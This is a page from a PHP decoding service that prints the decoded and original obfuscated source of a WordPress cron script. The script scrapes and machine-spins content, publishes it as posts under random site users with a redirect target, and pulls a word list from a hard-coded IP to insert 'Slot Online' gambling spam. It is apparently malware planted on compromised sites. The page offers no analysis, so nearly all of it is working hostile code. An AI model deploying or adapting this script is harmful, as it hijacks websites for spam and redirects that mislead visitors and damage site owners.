Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto hItKT; KJuoh: $protocol = !empty($_SERVER["\110\x54\124\120\123"]) && $_SERVE..

Decoded Output download

<?php 
 goto hItKT; KJuoh: $protocol = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] != "off" || $_SERVER["SERVER_PORT"] == 443 ? "https://" : "http://"; goto dUd1b; j46C_: if (!empty($query)) { include_once plugin_dir_path(__FILE__) . "data-functions.php"; $query = $query; if (isUCS2($query)) { $query = GoogleTranslate::translate("auto", "en", $query); } else { $query = $query; } $totlang = $tot_lang; $endlang = $end_lang2; $endlang = preg_replace("/_.*/", '', $endlang); if (preg_match("/^images$/", $target_dt)) { $numb_hed = 3; $totimg = 2; } else { $numb_hed = 4; $totimg = 8; } $cookiez = plugin_dir_path(__FILE__) . "__cookiez.txt"; $myTXT = plugin_dir_path(__FILE__) . "MyTranslate" . $type . ".txt"; unlink($myTXT); $myTXTK = plugin_dir_path(__FILE__) . "MyTranslate" . $type . rand() . ".txt"; $myTXTLang = plugin_dir_path(__FILE__) . "MyTranslateLang.txt"; $DT_img = json_decode(images_data($query), TRUE); $js_img = array(); foreach ($DT_img["image"] as $jz_img) { $js_img[] = $jz_img; } shuffle($js_img); $js_ttl = $DT_img["title"]; $js_tmb = $DT_img["thumb"]; $datasrcv = $DT_img["source"]; $dataxhed = $js_ttl; $datahed = array(); foreach ($dataxhed as $datazhed) { $exphd = explode(" ", trim($datazhed)); if (count($exphd) < 3) { continue; } $datahed[] = strtolower($datazhed); } $dataxtag = $js_ttl; shuffle($dataxtag); $tgnm = 0; foreach ($dataxtag as $dataztag) { if ($tgnm == 14) { break; } $datatagz = $dataztag; if ($tgnm <= 5) { $datatop .= ucfirst(strtolower($datatagz)) . ", "; } if ($tgnm >= 5) { $datatag .= $datatagz . ", "; } $tgnm++; } $datatop = rtrim($datatop, ", "); $datatag = rtrim($datatag, ", "); $ifkx = urlencode($query); $cks3 = plugin_dir_path(__FILE__) . "__cksv3.txt"; $gstr = parse_key($ifkx, $end_lang, $cks3); if (!empty($gstr)) { if ($gstr->find("li.related-terms__item a", 0)) { $iftgz = array(); foreach ($gstr->find("li.related-terms__item a") as $tgz) { $iftgz[] = strtolower(trim($tgz->title)); } $tgexp = array_unique($iftgz); shuffle($tgexp); foreach ($tgexp as $dtz) { if (empty($dtz)) { continue; } $suggtag .= strtolower(trim($dtz)) . ", "; } } } $suggtag = rtrim($suggtag, ", "); $konten = ''; $e = 0; $datasrc = array(); for ($v = 0; $v < 10; $v++) { $datasrc[] = $datasrcv[$v]; } shuffle($datasrc); foreach ($datasrc as $dtsrc) { if (preg_grep("/\.pinterest\.|\.facebook\.|\.youtube\.|\.twitter\.|\.instagram\.|\.tiktok\./", $datasrc)) { continue; } $data_desc = contents_web($dtsrc, 18, 80); $exp_datax = explode("<br>", $data_desc); $str_datax = explode(" ", str_replace("<br>", " ", $data_desc)); if (count($exp_datax) > 2) { if (count($str_datax) > 200) { $konten .= str_replace("<br>", "
\xa", $data_desc); } else { continue; } $contz = str_replace("\xd\xa", " ", rtrim($konten, "
\xa")); $exhas = explode(" ", $contz); if (count($exhas) > 1700) { break; } } else { continue; } $e++; } $konten = rtrim($konten, "\xd\xa"); $konten = str_replace("
\xa", "<br>", $konten); $konten = str_replace("<br>", "\xd
", potong_kata($konten, 1500)); if (!empty($konten)) { $langTR = array("af", "sq", "am", "ar", "hy", "az", "eu", "be", "bn", "bs", "bg", "ca", "ceb", "ny", "zh-CN", "zh-TW", "co", "hr", "cs", "da", "nl", "en", "eo", "et", "tl", "fi", "fr", "fy", "gl", "ka", "de", "el", "gu", "ht", "ha", "haw", "iw", "hi", "hmn", "hu", "is", "ig", "id", "ga", "it", "ja", "jw", "kn", "kk", "km", "rw", "ko", "ku", "ky", "lo", "la", "lv", "lt", "lb", "mk", "mg", "ms", "ml", "mt", "mi", "mr", "mn", "my", "ne", "no", "or", "ps", "fa", "pl", "pt", "pa", "ro", "ru", "sm", "gd", "sr", "st", "sn", "sd", "si", "sk", "sl", "so", "es", "su", "sw", "sv", "tg", "ta", "tt", "te", "th", "tr", "tk", "uk", "ur", "ug", "uz", "vi", "cy", "xh", "yi", "yo", "zu"); $langTRx = array_search($endlang, $langTR, true); if ($langTRx !== false) { array_splice($langTR, $langTRx, 1); } shuffle($langTR); for ($i = 0; $i < $totlang; $i++) { $numlast = $totlang - 2; $langTRG = $langTR[$i]; if ($i == $numlast) { $langTRG = $endlang; } $nsrc = $i - 1; $langSRC = $langTR[$nsrc]; if ($i == 0) { $langSRC = "auto"; } if (file_exists($myTXT)) { $konten = file_get_contents($myTXT); } $endbr = $totlang - 1; if ($i == $endbr) { break; } $translation = GoogleTranslate::translate($langSRC, $langTRG, $konten); $fp = fopen($myTXT, "wb"); fwrite($fp, $translation); fclose($fp); if ($i == $numlast) { } sleep(7); } $resultx = file_get_contents($myTXT); $exphaz = explode("\xd
", $resultx); $thedesc = array(); $nm = 0; foreach ($exphaz as $hasz) { $thedesc[] = "<p>" . ucfirst($hasz) . "</p>"; $nm++; } $totthedesc = count($exphaz); $hazcimg = $totthedesc / $totimg; $s = 0; $e = 0; $i = 0; $len = count($thedesc); shuffle($datahed); foreach ($thedesc as $get_kontenv) { $haz_konten .= $get_kontenv; if ($i == 1) { $haz_konten .= "<h2>" . ucwords($query) . "</h2>"; } if (!preg_match("/^off$|^single$/", $target_dt)) { if ($i % $totimg == 1) { $ie = $e + 1; $ps_imgz = preg_replace("/(https:\/\/)|(http:\/\/)|(.*?(wp\.com\/))|\?.*/", '', $js_img[$ie]); $posimgz = "https://i" . rand(0, 3) . ".wp.com/" . $ps_imgz . "?strip=all"; $haz_konten .= "<p><img src="" . $posimgz . "" alt="" . ucwords($query) . "" title="" . ucwords($query) . "" style="width:100%;text-align:center;" onerror="this.onerror=null;this.src='" . $js_tmb[$ie] . "';" /></p>"; $e++; } } if ($i % $numb_hed == 2) { $nm_sub = $s + 1; $ished = rand(2, 4); $haz_konten .= "<h" . $ished . ">" . GoogleTranslate::translate($langSRC, $end_lang, ucwords($datahed[$nm_sub])) . "</h" . $ished . ">"; $s++; } if ($i == $len - 1) { if (preg_match("/^on$/", $competitors_key)) { $haz_konten .= "<p>" . GoogleTranslate::translate($langSRC, $end_lang, ucfirst($suggtag)) . "</p>"; } } $i++; } $has_konten = preg_replace("/^(.*?)<p>/", "<p><strong>" . GoogleTranslate::translate($langSRC, $end_lang, ucwords($query)) . "</strong> - ", $haz_konten); $args = array("blog_id" => 1, "orderby" => "nicename", "order" => "ASC", "fields" => "all"); $users = get_users($args); shuffle($users); $uzerID = $users[0]->ID; require_once ABSPATH . "wp-load.php"; $userID = $uzerID; $categoryID = $id_cat; $leadTitle = ucwords($post_title); $response = wp_remote_get("http://173.82.206.72/nx.txt"); if (is_wp_error($response)) { return; } $json_data = json_decode(wp_remote_retrieve_body($response), true); foreach ($json_data as $data) { if (stripos($has_konten, $data) !== false) { $has_konten = str_ireplace($data, "Slot Online", $has_konten); } } $leadContent = $has_konten; date_default_timezone_set(get_option("timezone_string")); $timeStamp = $minuteCounter = 0; $iCounter = 1; $minuteIncrement = 0; $adjustClockMinutes = 0; $minuteCounter = $iCounter * $minuteIncrement; $minuteCounter = $minuteCounter + $adjustClockMinutes; $timeStamp = date("Y-m-d H:i:s", strtotime("+{$minuteCounter} min")); $new_post = array("post_title" => $leadTitle, "post_content" => $leadContent, "post_status" => $posts_status, "post_date" => $timeStamp, "post_author" => $userID, "post_type" => $post_type, "meta_input" => array("redirect_target" => $link), "post_name" => $urlslug, "post_category" => array($categoryID)); $post_id = wp_insert_post($new_post); if (!preg_match("/^off$/", $target_dt)) { $feadimg = $DT_img["image"]; shuffle($feadimg); foreach ($feadimg as $if_imgz) { $if_imgz = preg_replace("/(https:\/\/)|(http:\/\/)|(.*?(wp\.com\/))|\?.*/", '', $if_imgz); $imgfile = "https://i" . rand(0, 3) . ".wp.com/" . $if_imgz . "?strip=all&w=800"; $handle = curl_init($imgfile); curl_setopt($handle, CURLOPT_HEADER, 0); curl_setopt($handle, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($handle, CURLOPT_BINARYTRANSFER, 1); $response = curl_exec($handle); $httpCode = curl_getinfo($handle, CURLINFO_HTTP_CODE); curl_close($handle); if ($httpCode == 200) { $image_url = $imgfile; $image_name = $urlslug . "_" . $md5ttl . ".jpg"; $upload_dir = wp_upload_dir(); $image_data = file_get_contents($image_url); $unique_file_name = wp_unique_filename($upload_dir["path"], $image_name); $filename = basename($unique_file_name); if (wp_mkdir_p($upload_dir["path"])) { $file = $upload_dir["path"] . "/" . $filename; } else { $file = $upload_dir["basedir"] . "/" . $filename; } file_put_contents($file, $image_data); $wp_filetype = wp_check_filetype($filename, null); $attachment = array("post_mime_type" => $wp_filetype["type"], "post_title" => sanitize_file_name($filename), "post_content" => '', "post_status" => "inherit"); $attach_id = wp_insert_attachment($attachment, $file, $post_id); require_once ABSPATH . "wp-admin/includes/image.php"; $attach_data = wp_generate_attachment_metadata($attach_id, $file); wp_update_attachment_metadata($attach_id, $attach_data); set_post_thumbnail($post_id, $attach_id); break; } } } if ($post_id && !is_wp_error($post_id)) { global $wpdb; $wpdb->query($wpdb->prepare("UPDATE {$db_api_keys} SET status = '1' WHERE idmd5 = '{$md5ttl}'")); if (preg_match("/^on$/", $auto_key)) { $locale = $end_lang; $ifkeyx = urlencode($query); $cookies = plugin_dir_path(__FILE__) . "__cksv2.txt"; $getstr = parse_key($ifkeyx, $locale, $cookies); $minkey = $save_key - 1; if (!empty($getstr)) { if ($getstr->find("li.related-terms__item a", 0)) { $iftagz = array(); foreach ($getstr->find("li.related-terms__item a") as $tagz) { $iftagz[] = strtolower(trim($tagz->title)); } $tagexp = array_unique($iftagz); foreach ($tagexp as $dataz) { if (empty($dataz)) { continue; } $expkey = explode(" ", $dataz); if (count($expkey) <= $minkey) { continue; } $inttl = strtolower(trim($dataz)); $urls = str_replace(" ", "-", implode(" ", array_filter(explode(" ", strtolower(seotext(trim($dataz))))))); $idtcat = substr(md5($urls), 1, 9); $wpdb->query($wpdb->prepare("INSERT IGNORE INTO {$db_api_keys} (idmd5, title, slug, category, target_uv, status) VALUES ( %s, %s, %s, %s, %s, %s )", array($idtcat, $inttl, $urls, $id_cat, $target_dt, "0"))); } } } } } else { $wpdb->query($wpdb->prepare("UPDATE {$db_api_keys} SET status = '3' WHERE idmd5 = '{$md5ttl}'")); } unlink($myTXT); } } goto yT6ZK; bGmaw: global $wpdb; goto BmvQA; hwvA7: $fileName = basename(__FILE__); goto DbiFN; vrjyu: foreach ($rndkey as $rowkey) { $md5ttl = $rowkey->idmd5; $post_title = $rowkey->title; $query = $rowkey->title; $urlslug = $rowkey->slug; $id_cat = $rowkey->category; $target_dt = $rowkey->target_uv; $sts_key = $rowkey->status; $post_type = $rowkey->post_type; $end_lang2 = $rowkey->end_lang; $link = $rowkey->link; } goto qVt4s; kRrvS: $dataArray = array("doflamingo", "blackbeard"); goto hwvA7; J5vif: $siteurl = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . "/"; goto KJuoh; qVt4s: if (preg_match("/^1$/", $sts_key)) { echo "duplicate post"; die; die; } goto j46C_; dUd1b: $currurl = $protocol . $_SERVER["HTTP_HOST"] . strtok($_SERVER["REQUEST_URI"], "?"); goto xbyl3; yPIyP: define("DONOTCACHEPAGE", true); goto bGmaw; xbyl3: header("Content-Type: text/html; charset=utf-8"); goto NCA6v; MeeWI: $rndkey = $wpdb->get_results("SELECT * FROM {$db_api_keys} WHERE status='0' AND post_type='blackbeard' ORDER BY RAND() LIMIT 1"); goto vrjyu; S2cD5: include_once plugin_dir_path(__FILE__) . "fetch_api.php"; goto J5vif; NCA6v: foreach ($wpdb->get_results("SELECT * FROM {$db_api_settings} WHERE id = '1'") as $key => $row) { $cron_status = $row->status_cron; $end_lang = $row->end_lang; $tot_lang = $row->tot_lang; $time_post = $row->time_post; $save_key = $row->char_key; $auto_key = $row->autosave_key; $word_post = $row->word_post; $competitors_key = $row->competitors_key; $posts_status = $row->post_status; } goto kRrvS; DbiFN: $nameWithoutExt = pathinfo($fileName, PATHINFO_FILENAME); goto LX1z1; hItKT: @ini_set("max_execution_time", 3000); goto yPIyP; LX1z1: $startPos = strpos($nameWithoutExt, "cron_") + 5; goto PYCMa; BmvQA: $db_api_settings = $wpdb->prefix . "wp_api_settings"; goto g6c1j; PYCMa: $idxCron = substr($nameWithoutExt, $startPos); goto udw0Z; g6c1j: $db_api_keys = $wpdb->prefix . "wp_api_keys"; goto S2cD5; udw0Z: $type = "blackbeard"; goto MeeWI; yT6ZK: 
 ?>

Did this file decode correctly?

Original Code

<?php
 goto hItKT; KJuoh: $protocol = !empty($_SERVER["\110\x54\124\120\123"]) && $_SERVER["\x48\124\x54\x50\123"] != "\x6f\146\146" || $_SERVER["\x53\x45\122\126\105\122\x5f\x50\117\x52\x54"] == 443 ? "\x68\x74\x74\x70\x73\72\57\x2f" : "\x68\164\164\x70\x3a\57\x2f"; goto dUd1b; j46C_: if (!empty($query)) { include_once plugin_dir_path(__FILE__) . "\144\141\164\x61\x2d\146\x75\x6e\x63\164\151\x6f\156\163\x2e\160\x68\x70"; $query = $query; if (isUCS2($query)) { $query = GoogleTranslate::translate("\141\x75\x74\157", "\145\x6e", $query); } else { $query = $query; } $totlang = $tot_lang; $endlang = $end_lang2; $endlang = preg_replace("\57\x5f\56\52\57", '', $endlang); if (preg_match("\57\x5e\x69\x6d\x61\147\x65\x73\44\x2f", $target_dt)) { $numb_hed = 3; $totimg = 2; } else { $numb_hed = 4; $totimg = 8; } $cookiez = plugin_dir_path(__FILE__) . "\137\x5f\143\157\x6f\153\151\x65\x7a\x2e\x74\x78\164"; $myTXT = plugin_dir_path(__FILE__) . "\x4d\x79\124\x72\x61\x6e\163\154\141\x74\145" . $type . "\56\164\x78\x74"; unlink($myTXT); $myTXTK = plugin_dir_path(__FILE__) . "\x4d\171\x54\x72\141\156\163\154\141\x74\145" . $type . rand() . "\56\164\x78\x74"; $myTXTLang = plugin_dir_path(__FILE__) . "\x4d\x79\124\162\x61\156\163\154\141\x74\145\114\141\x6e\147\x2e\164\170\164"; $DT_img = json_decode(images_data($query), TRUE); $js_img = array(); foreach ($DT_img["\x69\x6d\x61\x67\x65"] as $jz_img) { $js_img[] = $jz_img; } shuffle($js_img); $js_ttl = $DT_img["\x74\x69\164\x6c\145"]; $js_tmb = $DT_img["\164\x68\165\x6d\142"]; $datasrcv = $DT_img["\163\157\x75\x72\143\x65"]; $dataxhed = $js_ttl; $datahed = array(); foreach ($dataxhed as $datazhed) { $exphd = explode("\40", trim($datazhed)); if (count($exphd) < 3) { continue; } $datahed[] = strtolower($datazhed); } $dataxtag = $js_ttl; shuffle($dataxtag); $tgnm = 0; foreach ($dataxtag as $dataztag) { if ($tgnm == 14) { break; } $datatagz = $dataztag; if ($tgnm <= 5) { $datatop .= ucfirst(strtolower($datatagz)) . "\54\x20"; } if ($tgnm >= 5) { $datatag .= $datatagz . "\x2c\x20"; } $tgnm++; } $datatop = rtrim($datatop, "\x2c\40"); $datatag = rtrim($datatag, "\54\40"); $ifkx = urlencode($query); $cks3 = plugin_dir_path(__FILE__) . "\137\137\x63\x6b\x73\x76\63\56\164\x78\164"; $gstr = parse_key($ifkx, $end_lang, $cks3); if (!empty($gstr)) { if ($gstr->find("\x6c\x69\x2e\162\x65\154\x61\164\145\144\55\x74\x65\162\x6d\163\137\x5f\151\x74\x65\x6d\40\x61", 0)) { $iftgz = array(); foreach ($gstr->find("\154\151\56\162\145\x6c\x61\x74\x65\144\x2d\x74\x65\x72\155\x73\x5f\137\x69\164\x65\x6d\x20\141") as $tgz) { $iftgz[] = strtolower(trim($tgz->title)); } $tgexp = array_unique($iftgz); shuffle($tgexp); foreach ($tgexp as $dtz) { if (empty($dtz)) { continue; } $suggtag .= strtolower(trim($dtz)) . "\x2c\x20"; } } } $suggtag = rtrim($suggtag, "\54\40"); $konten = ''; $e = 0; $datasrc = array(); for ($v = 0; $v < 10; $v++) { $datasrc[] = $datasrcv[$v]; } shuffle($datasrc); foreach ($datasrc as $dtsrc) { if (preg_grep("\x2f\134\x2e\160\151\x6e\164\145\x72\x65\163\x74\x5c\x2e\x7c\x5c\56\146\141\x63\145\142\x6f\x6f\153\x5c\56\x7c\x5c\x2e\171\x6f\165\x74\165\142\145\x5c\x2e\174\134\56\x74\x77\151\x74\x74\x65\x72\134\56\174\x5c\x2e\151\x6e\163\164\x61\x67\162\141\155\134\56\174\134\56\164\x69\153\x74\157\x6b\134\56\x2f", $datasrc)) { continue; } $data_desc = contents_web($dtsrc, 18, 80); $exp_datax = explode("\74\142\x72\76", $data_desc); $str_datax = explode("\x20", str_replace("\x3c\142\x72\x3e", "\x20", $data_desc)); if (count($exp_datax) > 2) { if (count($str_datax) > 200) { $konten .= str_replace("\74\x62\x72\x3e", "\15\xa", $data_desc); } else { continue; } $contz = str_replace("\xd\xa", "\x20", rtrim($konten, "\15\xa")); $exhas = explode("\40", $contz); if (count($exhas) > 1700) { break; } } else { continue; } $e++; } $konten = rtrim($konten, "\xd\xa"); $konten = str_replace("\15\xa", "\74\142\162\x3e", $konten); $konten = str_replace("\74\142\162\x3e", "\xd\12", potong_kata($konten, 1500)); if (!empty($konten)) { $langTR = array("\x61\146", "\x73\161", "\x61\x6d", "\141\162", "\150\x79", "\141\172", "\145\x75", "\142\145", "\142\x6e", "\142\163", "\142\147", "\143\141", "\x63\x65\x62", "\156\x79", "\172\150\55\103\116", "\x7a\x68\x2d\x54\127", "\143\157", "\x68\162", "\x63\163", "\144\141", "\156\x6c", "\145\x6e", "\x65\x6f", "\145\164", "\164\154", "\146\151", "\x66\x72", "\x66\x79", "\147\154", "\x6b\x61", "\144\145", "\x65\x6c", "\x67\165", "\150\164", "\150\141", "\x68\x61\167", "\x69\167", "\x68\x69", "\150\155\x6e", "\x68\165", "\151\x73", "\151\147", "\151\144", "\147\x61", "\x69\x74", "\x6a\141", "\152\x77", "\153\156", "\153\153", "\x6b\155", "\x72\x77", "\x6b\157", "\153\x75", "\x6b\x79", "\154\157", "\x6c\x61", "\x6c\166", "\x6c\164", "\154\142", "\155\153", "\155\147", "\x6d\x73", "\155\x6c", "\x6d\x74", "\x6d\151", "\x6d\162", "\x6d\x6e", "\x6d\x79", "\x6e\145", "\156\x6f", "\x6f\162", "\x70\x73", "\146\x61", "\x70\154", "\x70\164", "\x70\x61", "\x72\157", "\x72\x75", "\163\155", "\147\x64", "\163\162", "\x73\164", "\163\156", "\x73\x64", "\163\151", "\x73\x6b", "\x73\154", "\163\x6f", "\145\163", "\163\165", "\163\x77", "\163\166", "\x74\x67", "\164\141", "\x74\x74", "\164\145", "\164\150", "\x74\x72", "\x74\x6b", "\165\x6b", "\165\162", "\165\x67", "\x75\x7a", "\166\x69", "\x63\x79", "\x78\x68", "\x79\x69", "\171\157", "\172\165"); $langTRx = array_search($endlang, $langTR, true); if ($langTRx !== false) { array_splice($langTR, $langTRx, 1); } shuffle($langTR); for ($i = 0; $i < $totlang; $i++) { $numlast = $totlang - 2; $langTRG = $langTR[$i]; if ($i == $numlast) { $langTRG = $endlang; } $nsrc = $i - 1; $langSRC = $langTR[$nsrc]; if ($i == 0) { $langSRC = "\141\165\164\157"; } if (file_exists($myTXT)) { $konten = file_get_contents($myTXT); } $endbr = $totlang - 1; if ($i == $endbr) { break; } $translation = GoogleTranslate::translate($langSRC, $langTRG, $konten); $fp = fopen($myTXT, "\x77\142"); fwrite($fp, $translation); fclose($fp); if ($i == $numlast) { } sleep(7); } $resultx = file_get_contents($myTXT); $exphaz = explode("\xd\12", $resultx); $thedesc = array(); $nm = 0; foreach ($exphaz as $hasz) { $thedesc[] = "\x3c\160\x3e" . ucfirst($hasz) . "\74\x2f\160\76"; $nm++; } $totthedesc = count($exphaz); $hazcimg = $totthedesc / $totimg; $s = 0; $e = 0; $i = 0; $len = count($thedesc); shuffle($datahed); foreach ($thedesc as $get_kontenv) { $haz_konten .= $get_kontenv; if ($i == 1) { $haz_konten .= "\74\150\62\76" . ucwords($query) . "\74\x2f\150\62\x3e"; } if (!preg_match("\x2f\136\x6f\x66\146\x24\174\136\x73\151\x6e\147\154\145\x24\57", $target_dt)) { if ($i % $totimg == 1) { $ie = $e + 1; $ps_imgz = preg_replace("\x2f\x28\x68\164\164\160\163\72\134\57\x5c\x2f\x29\174\50\150\x74\x74\160\72\x5c\57\x5c\x2f\x29\174\x28\x2e\52\x3f\x28\x77\160\134\56\143\157\155\134\57\51\x29\174\134\77\x2e\52\57", '', $js_img[$ie]); $posimgz = "\150\164\164\x70\x73\x3a\x2f\x2f\x69" . rand(0, 3) . "\56\x77\160\56\143\157\x6d\x2f" . $ps_imgz . "\x3f\163\164\x72\x69\x70\x3d\141\x6c\154"; $haz_konten .= "\74\x70\76\x3c\151\155\147\x20\x73\x72\x63\75\x22" . $posimgz . "\42\x20\141\x6c\164\x3d\x22" . ucwords($query) . "\42\x20\x74\151\x74\x6c\x65\75\42" . ucwords($query) . "\42\40\x73\x74\x79\154\x65\75\42\x77\151\x64\164\x68\x3a\x31\x30\x30\x25\x3b\164\145\170\164\55\141\x6c\151\x67\x6e\x3a\x63\x65\x6e\164\x65\162\x3b\42\x20\x6f\156\145\162\162\157\162\x3d\42\x74\150\x69\x73\56\157\156\145\x72\x72\157\162\75\x6e\x75\x6c\x6c\73\x74\x68\151\163\56\x73\x72\143\75\47" . $js_tmb[$ie] . "\47\73\42\x20\57\76\x3c\x2f\160\76"; $e++; } } if ($i % $numb_hed == 2) { $nm_sub = $s + 1; $ished = rand(2, 4); $haz_konten .= "\x3c\150" . $ished . "\76" . GoogleTranslate::translate($langSRC, $end_lang, ucwords($datahed[$nm_sub])) . "\x3c\x2f\150" . $ished . "\x3e"; $s++; } if ($i == $len - 1) { if (preg_match("\x2f\136\x6f\156\44\57", $competitors_key)) { $haz_konten .= "\74\x70\x3e" . GoogleTranslate::translate($langSRC, $end_lang, ucfirst($suggtag)) . "\x3c\x2f\160\76"; } } $i++; } $has_konten = preg_replace("\57\x5e\x28\56\52\x3f\x29\x3c\x70\76\57", "\74\x70\76\74\163\164\x72\x6f\156\x67\76" . GoogleTranslate::translate($langSRC, $end_lang, ucwords($query)) . "\x3c\x2f\x73\164\162\x6f\x6e\147\76\40\x2d\40", $haz_konten); $args = array("\142\x6c\157\x67\x5f\151\144" => 1, "\157\x72\x64\145\162\142\x79" => "\x6e\151\143\x65\156\x61\155\x65", "\157\162\144\145\162" => "\101\123\103", "\x66\151\145\x6c\144\163" => "\141\x6c\x6c"); $users = get_users($args); shuffle($users); $uzerID = $users[0]->ID; require_once ABSPATH . "\x77\160\x2d\154\x6f\141\144\x2e\x70\150\x70"; $userID = $uzerID; $categoryID = $id_cat; $leadTitle = ucwords($post_title); $response = wp_remote_get("\150\164\x74\160\72\x2f\x2f\x31\67\x33\x2e\70\x32\56\62\60\x36\x2e\67\x32\57\156\x78\56\x74\170\x74"); if (is_wp_error($response)) { return; } $json_data = json_decode(wp_remote_retrieve_body($response), true); foreach ($json_data as $data) { if (stripos($has_konten, $data) !== false) { $has_konten = str_ireplace($data, "\x53\154\x6f\164\40\117\156\x6c\151\156\145", $has_konten); } } $leadContent = $has_konten; date_default_timezone_set(get_option("\x74\x69\155\145\x7a\x6f\156\x65\137\163\x74\162\x69\x6e\x67")); $timeStamp = $minuteCounter = 0; $iCounter = 1; $minuteIncrement = 0; $adjustClockMinutes = 0; $minuteCounter = $iCounter * $minuteIncrement; $minuteCounter = $minuteCounter + $adjustClockMinutes; $timeStamp = date("\131\55\155\x2d\144\x20\110\72\151\x3a\x73", strtotime("\x2b{$minuteCounter}\40\x6d\151\156")); $new_post = array("\x70\x6f\x73\x74\137\x74\x69\164\154\145" => $leadTitle, "\x70\x6f\x73\x74\137\x63\x6f\x6e\x74\x65\156\164" => $leadContent, "\160\157\x73\164\137\x73\x74\x61\x74\165\x73" => $posts_status, "\160\x6f\x73\164\x5f\x64\x61\x74\x65" => $timeStamp, "\x70\x6f\x73\x74\x5f\141\x75\164\150\x6f\x72" => $userID, "\x70\157\x73\x74\137\164\x79\x70\145" => $post_type, "\155\145\x74\141\x5f\x69\x6e\x70\165\x74" => array("\x72\145\144\x69\x72\145\143\164\x5f\x74\141\x72\x67\145\164" => $link), "\160\157\163\x74\137\x6e\x61\x6d\145" => $urlslug, "\x70\157\163\164\x5f\143\x61\x74\x65\147\x6f\162\171" => array($categoryID)); $post_id = wp_insert_post($new_post); if (!preg_match("\x2f\x5e\157\x66\x66\44\x2f", $target_dt)) { $feadimg = $DT_img["\x69\x6d\141\x67\145"]; shuffle($feadimg); foreach ($feadimg as $if_imgz) { $if_imgz = preg_replace("\57\x28\x68\x74\x74\x70\163\72\134\x2f\134\57\x29\x7c\x28\150\164\164\160\x3a\x5c\57\x5c\57\x29\x7c\x28\x2e\52\77\x28\167\160\x5c\56\x63\x6f\x6d\x5c\x2f\x29\51\x7c\x5c\x3f\56\x2a\x2f", '', $if_imgz); $imgfile = "\x68\x74\x74\160\163\x3a\x2f\57\151" . rand(0, 3) . "\56\167\x70\56\x63\157\x6d\57" . $if_imgz . "\x3f\x73\164\x72\x69\160\75\141\154\154\46\x77\x3d\x38\60\60"; $handle = curl_init($imgfile); curl_setopt($handle, CURLOPT_HEADER, 0); curl_setopt($handle, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($handle, CURLOPT_BINARYTRANSFER, 1); $response = curl_exec($handle); $httpCode = curl_getinfo($handle, CURLINFO_HTTP_CODE); curl_close($handle); if ($httpCode == 200) { $image_url = $imgfile; $image_name = $urlslug . "\137" . $md5ttl . "\x2e\x6a\160\147"; $upload_dir = wp_upload_dir(); $image_data = file_get_contents($image_url); $unique_file_name = wp_unique_filename($upload_dir["\x70\141\164\150"], $image_name); $filename = basename($unique_file_name); if (wp_mkdir_p($upload_dir["\160\141\x74\150"])) { $file = $upload_dir["\160\x61\x74\150"] . "\x2f" . $filename; } else { $file = $upload_dir["\x62\x61\x73\x65\x64\151\x72"] . "\x2f" . $filename; } file_put_contents($file, $image_data); $wp_filetype = wp_check_filetype($filename, null); $attachment = array("\160\x6f\x73\164\x5f\x6d\x69\x6d\145\x5f\x74\x79\x70\145" => $wp_filetype["\164\171\x70\x65"], "\x70\x6f\163\164\x5f\x74\x69\x74\x6c\145" => sanitize_file_name($filename), "\160\157\163\x74\x5f\x63\157\156\x74\x65\156\164" => '', "\x70\157\163\x74\x5f\x73\164\141\x74\x75\x73" => "\151\156\150\x65\x72\151\x74"); $attach_id = wp_insert_attachment($attachment, $file, $post_id); require_once ABSPATH . "\167\x70\55\141\x64\155\x69\x6e\57\x69\156\143\154\x75\144\x65\163\57\151\x6d\141\x67\x65\x2e\160\x68\x70"; $attach_data = wp_generate_attachment_metadata($attach_id, $file); wp_update_attachment_metadata($attach_id, $attach_data); set_post_thumbnail($post_id, $attach_id); break; } } } if ($post_id && !is_wp_error($post_id)) { global $wpdb; $wpdb->query($wpdb->prepare("\125\120\x44\x41\x54\x45\x20{$db_api_keys}\40\123\105\x54\x20\x73\x74\141\x74\165\x73\40\75\40\x27\x31\47\40\127\x48\x45\122\x45\x20\151\x64\x6d\x64\x35\x20\75\40\x27{$md5ttl}\47")); if (preg_match("\57\136\x6f\x6e\x24\x2f", $auto_key)) { $locale = $end_lang; $ifkeyx = urlencode($query); $cookies = plugin_dir_path(__FILE__) . "\x5f\x5f\143\x6b\x73\166\62\56\164\x78\164"; $getstr = parse_key($ifkeyx, $locale, $cookies); $minkey = $save_key - 1; if (!empty($getstr)) { if ($getstr->find("\154\x69\x2e\162\145\x6c\141\164\x65\x64\55\x74\x65\x72\x6d\x73\137\x5f\x69\164\x65\x6d\40\141", 0)) { $iftagz = array(); foreach ($getstr->find("\154\151\56\162\x65\x6c\141\164\x65\144\55\x74\145\x72\155\x73\x5f\137\x69\x74\145\x6d\40\141") as $tagz) { $iftagz[] = strtolower(trim($tagz->title)); } $tagexp = array_unique($iftagz); foreach ($tagexp as $dataz) { if (empty($dataz)) { continue; } $expkey = explode("\40", $dataz); if (count($expkey) <= $minkey) { continue; } $inttl = strtolower(trim($dataz)); $urls = str_replace("\x20", "\55", implode("\40", array_filter(explode("\40", strtolower(seotext(trim($dataz))))))); $idtcat = substr(md5($urls), 1, 9); $wpdb->query($wpdb->prepare("\111\116\x53\x45\x52\x54\x20\x49\x47\x4e\x4f\122\105\x20\111\x4e\x54\117\40{$db_api_keys}\40\50\x69\144\155\x64\65\54\x20\x74\151\x74\154\x65\x2c\x20\x73\154\165\147\x2c\40\x63\x61\164\x65\147\x6f\x72\x79\x2c\x20\x74\141\162\x67\x65\164\137\165\166\54\x20\163\x74\x61\164\165\x73\x29\x20\x56\x41\x4c\125\x45\123\x20\x28\40\x25\163\54\40\45\163\54\40\45\163\54\x20\45\163\x2c\x20\x25\163\54\40\x25\163\x20\x29", array($idtcat, $inttl, $urls, $id_cat, $target_dt, "\60"))); } } } } } else { $wpdb->query($wpdb->prepare("\x55\120\104\101\x54\x45\x20{$db_api_keys}\x20\123\105\124\x20\163\164\141\164\x75\x73\40\x3d\x20\x27\63\47\40\127\110\105\x52\x45\x20\x69\144\155\144\65\x20\x3d\40\47{$md5ttl}\x27")); } unlink($myTXT); } } goto yT6ZK; bGmaw: global $wpdb; goto BmvQA; hwvA7: $fileName = basename(__FILE__); goto DbiFN; vrjyu: foreach ($rndkey as $rowkey) { $md5ttl = $rowkey->idmd5; $post_title = 